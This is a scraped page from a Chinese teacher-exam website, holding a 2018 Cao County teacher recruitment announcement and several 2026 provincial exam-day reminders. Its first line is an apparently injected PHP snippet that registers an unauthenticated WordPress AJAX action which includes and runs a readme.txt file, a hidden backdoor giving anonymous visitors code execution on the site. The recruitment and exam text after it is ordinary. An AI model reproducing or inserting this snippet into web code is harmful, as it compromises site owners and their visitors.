if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
山东菏泽曹县2018年10月教育系统教师招聘公告-全国教师资格考试网

山东菏泽曹县2018年10月教育系统教师招聘公告

    根据《事业单位人员管理条例》(国务院令652号)、《山东省事业单位公开招聘工作规程》(鲁人社发﹝2015﹞6号)和《关于事业单位公开招聘工作几个具体问题的通知》(鲁人社发﹝2016﹞53号)、《关于进一步做好县乡事业单位公开招聘工作的若干意见》(鲁人社规﹝2017﹞21号)、《关于事业单位补充工作人员实行公开招聘的意见》(菏人发〔2007〕39号)和《2018年菏泽市教育系统公开招聘教师实施意见》(菏教人字﹝2018﹞4号)等文件精神,结合我县实际,公开招聘教师200名。现将有关事项公告如下:
    一、招聘对象及岗位要求

    招聘对象为未被国家机关、事业单位正式录用、聘用的国家承认学历的大中专毕业生,并符合以下条件:
    (一)具有中华人民共和国国籍,遵守宪法和法律,热爱教育;
    (二)报考安蔡楼镇、常乐集镇、大集镇、楼庄乡、邵庄镇、仵楼镇、朱洪庙乡、青堌集镇、苏集镇、侯集回族镇、古营集镇、青岗集镇、桃源集镇中小学教师岗位的应聘人员必须具有曹县户籍;
    (三)具有良好的道德品行和适应岗位的身体条件;
    (四)1977年10月16日以后出生;
    (五)具有小学及以上教师资格证书。
    (六)招聘岗位要求的其他资格条件。
    根据国家和省有关规定,菏泽市生源参加我省招募或外地生源参加菏泽市招募的“选聘高校毕业生到村任职”、“三支一扶”计划、“大学生志愿服务西部计划”等服务基层项目人员,服务满2年、考核合格,3年内(指2014年、2015年、2016年招募和选派人员,含2016年续聘的大学生村官)报考的,实行定向招聘,需具备相应教师资格证书。
    2018届西藏生源(高考时户籍为西藏)或西藏生源2016-2017届未就业的全国普通高校毕业生,实行定向招聘,需具备相应教师资格证书。
    在部队服役满2年以上,2017年底前退出现役并且符合我县兵役机关接收安置条件的全日制普通高等院校专科及以上学历的大学生退役士兵,实行定向招聘,需具备相应教师资格证书。
    曾受过刑事处罚和曾被开除公职的人员不能报考;在读全日制普通高校非应届毕业生不能报考,也不能用已取得学历学位报考;现役军人及法律规定不得聘用的其他情形的人员不能报考;在编在职人员辞职或解除聘用合同不满6个月的不能报考。
    二、招聘单位、计划和岗位
    招聘单位、计划和岗位及条件要求详见《2018年10月曹县教育系统公开招聘中小学教师岗位计划表》。
    网上报名结束后,对最终确定的报名人数与招聘岗位数量达不到3:1的招聘岗位,经县教师招聘领导小组批准后在本次招聘岗位中调整岗位计划。核减的招聘岗位计划增加到音、体、美报名比例高的岗位,如音、体、美岗位仍空缺,第二次调剂到其他报名比例高的岗位。定向岗位报名人数与岗位数量未达到3:1的,核减相应的定向岗位,核减的岗位计划增加到相应岗位。取消或核减计划的岗位数量报名结束后在曹县人力资源和社会保障局网(http://www.cxsi.gov.cn/)或曹县教育政务网(http://曹县教育局.政务.cn/)公布。
    三、报名和资格审查
    报名和资格审查工作按以下程序进行:
    (一)报名
    本次考试采取统一时间、网上报名、网上缴费、网上打印准考证的方式进行。
    报名时间:2018年10月16日9:00-10月19日16:00
    查询时间:2018年10月17日9:00-10月21日16:00
    初审时间:2018年10月16日9:00-10月20日16:00
    缴费时间:2018年10月17日9:00-10月21日16:00
    报名网址:曹县人力资源和社会保障局网或曹县教育政务网
    具体办法是:
    (1)个人报名
    报考人员登陆曹县人力资源和社会保障局网或曹县教育政务网,按照报名系统指示的报名流程如实填写、提交相关个人报考信息资料。每人限报一个岗位。报考人员在资格初审前多次登陆填交报考信息的,后一次填报自动替换前一次填报信息。报名资格一经初审通过,不能更改报名信息。报考人员必须使用二代身份证进行报名,报名与考试时使用的身份证必须一致。报考者恶意注册报名信息,扰乱报名秩序或者伪造学历证明及其他有关证件骗取考试资格的,一经查实,取消本次报考资格且5年内不得报考。
    (2)网上初审
    曹县教师招聘领导小组指定专人负责资格初审工作(节假日不休息),及时查看网上报名情况,根据报考人员提交的信息资料,及时进行资格初审。对具备报名资格并符合报考条件的初审通过;对不符合报考条件而未通过初审的人员,说明理由;对提交材料不全的,注明缺失内容。
    (3)网上缴费
    通过资格初审的人员(通过资格初审的标志是“信息审核通过!”),要在规定时间内登陆报名网站进行网上缴费。报考人员网上缴费需使用开通网上银行的银联卡支付,报考人员缴费后要立即登陆报名网站查询缴费情况(缴费成功考生的缴费状态标志是“交费成功!报名完成!”)。如考生已完成网上银行缴费但从报名网站查询的缴费状态仍为“未缴费”,考生应在10月21日16:00前与曹县教育局政工股联系(电话:0530-3397300)。逾期不办理网上缴费手续的,视作自动放弃。缴费成功后,考生自行下载打印《2018年10月曹县教育系统公开招聘教师报名登记表》(请妥善保存,现场资格审查时使用)。
    请考生于11月6日—11月10日上午9:00前登陆报名网站自行打印笔试准考证。
    根据物价部门核定的标准,笔试考务费每人80元(两科、每科40元)。
    拟享受减免考务费用的报名人员,不实行网上缴费,审核通过后,需于2018年10月16日–10月21日(上午9:00–11:00,下午14:00–16:00)凭家庭所在县(区)民政部门出具的享受最低生活保障的证明和低保证(原件及复印件)、报名人员家庭所在地扶贫办(部门)出具的特困证明和特困家庭基本情况档案卡(复印件)或出具省人力资源和社会保障厅(或原省人事厅)、省教育厅核发的《山东省特困家庭毕业生就业服务卡》(原件及复印件),到曹县教育局政工股(门牌号2212)办理减免考务费手续。
    (二)现场资格审查
    11月22日至11月24日,对进入资格审查范围的报考人员进行现场资格审查,审核通过的人员进行现场拍照、采集指纹信息(具体时间为上午8:30-12:00,下午14:00-17:30)。
    审查地点:曹县教育局一楼东大厅(赣江路东段曹县第一实验小学西邻)
    现场资格审查需提交的材料包括:
    1.笔试准考证。
    2.《2018年10月曹县教育系统公开招聘教师报名登记表》。
    3. 本人签字的《2018年10月曹县教育系统公开招聘教师诚信承诺书》。
    4.二代身份证(或临时身份证),报考安蔡楼镇、常乐集镇、大集镇、楼庄乡、邵庄镇、仵楼镇、朱洪庙乡、青堌集镇、苏集镇、侯集回族镇、古营集镇、青岗集镇、桃源集镇中小学教师岗位的需同时提供本人常住人口登记卡。
    5.国家承认的学历学位证书;2002年以后毕业的专科及以上学历的报考人员需同时提供学信网教育部学历证书电子注册备案表打印件。
    6.教师资格证,2008年及以后取得的教师资格证需同时提供《中国教师资格网》的查询网页打印件。
    7.国家统招全日制中、高等院校毕业生需提供报到证;
    上述材料中4、5、6、7均需提供原件和一份复印件,复印件与2、3原件按顺序装订。笔试准考证在审验后,返还给考生本人,面试时用。
    报考定向招聘岗位的服务基层项目人员、2018届西藏生源(高考时户籍为西藏)或西藏生源2016-2017届未就业的全国普通高校毕业生、退役士兵还需提供相关的证明材料。
    报考人员在规定时间内未提交有关材料的,视为自动放弃,经审查不具备报考条件的,取消其资格。
    对报考人员的资格审查将贯穿招聘工作的全过程。一经发现不符合招考条件的,取消其招聘资格。
    四、考试内容和方法
    考试分为笔试和面试。
    (一)笔试
    曹县教师招聘领导小组负责笔试试卷命制、阅卷、成绩统计、成绩发布。笔试成绩在曹县人力资源和社会保障局网或曹县教育政务网公布。
    笔试分为教育公共知识和学科专业知识两部分。其中教育公共知识考试内容包括教育法律法规、时政方针、教育学与教育心理学、新课程基本理论、教材教法、教师职业道德等,为百分制,占笔试成绩的30%。学科专业知识考试内容为所报学科必须掌握的专业知识,为百分制,占笔试成绩的70%。学科专业知识按专业类别分类命题。
    笔试时间:2018年11月10日上午9:00-11:30。
    笔试地点:见准考证。
    (二)面试
    现场资格审查结束后,对未达到规定面试比例的,按笔试成绩依次递补。按照招聘岗位1:2的比例依次确定参加面试的人员。递补后仍达不到规定面试比例的,按实有合格人数参加面试。进入面试的人员名单在曹县人力资源和社会保障局网或曹县教育政务网公布。
    面试由曹县教师招聘领导小组按有关规定组织实施。面试重点考察专业技能和实际操作能力及教学组织能力,采取试讲或技能测试的方式进行。
    按照物价部门核定的标准,面试考务费每人70元。面试具体时间、地点请及时关注曹县人力资源和社会保障局网或曹县教育政务网公告。
    (三)考试成绩计算
    考试结束后,由曹县教师招聘领导小组按笔试与面试成绩各占50%的比例计算出报考人员考试总成绩。笔试、面试成绩、考试总成绩均计算到小数点后两位数,尾数四舍五入。考试总成绩在曹县人力资源和社会保障局网和曹县教育政务网公布。
    五、考察体检
    (一)考察
    根据总成绩从高分到低分等额确定考察人员。如出现2名及以上总成绩相同者,依次按面试成绩、学历层次、应届毕业生、招聘岗位有特殊要求优先的办法确定考察、体检人选。考察工作由曹县教师招聘领导小组组织进行。主要考察报考人员的现实表现、职业道德、敬业精神、业绩能力和工作实绩等,同时复核其资格条件、提供的相关信息资料。
    (二)体检
    体检在县级以上综合医院进行。体检标准按照《山东省教师资格认定体检标准》执行。应聘人员未按规定时间、地点参加体检的,视为自动放弃。对按规定需要复检的,不在原体检医院进行,复检只能进行一次,结果以复检结论为准,体检费用由应聘人员承担。
    对考察、体检不合格造成的应聘人员空缺,可从报考同一岗位的其他人员中由高分到低分依次等额递补。
    六、公示及聘用
    按招聘岗位1:1的比例确定拟聘用人员后,拟聘用人员名单在曹县人力资源和社会保障局网或曹县教育政务网公示,公示时间为7个工作日。公示期满无异议的人员由县教育局根据各单位教学需求实际,进行统一调配。符合聘用条件的,由曹县教育局结合曹县人力资源和社会保障局网办理相关手续,在曹县最低服务5年。
    聘用人员按规定实行试用期制度,期满合格的正式聘用,不合格的解除聘用合同。
    七、其他
    1.对招聘工作中的违规违纪人员,按照《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令第35号)处理。
    2.本次教育系统公开招聘教师统一考试不指定考试教材和辅导用书,不举办也不授权或委托任何机构举办考试辅导培训班。招聘简章由曹县教师招聘领导小组负责解释。
    3.本次招聘的有关通知、公告、公示将在曹县人力资源和社会保障局网或曹县教育政务网发布,请考生务必及时关注相关信息,届时不再电话通知。望考生保持通讯工具全天24小时畅通,报名时所填写的联系电话或手机号码如有变动,请及时与曹县教师招聘领导小组办公室联系并告知新号码,因本人原因错过重要信息而影响考试聘用的,责任自负。
    招聘咨询电话:0530—3397300(曹县教师招聘领导小组办公室)
                                                曹县教师招聘领导小组

                                 2018年10月9日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部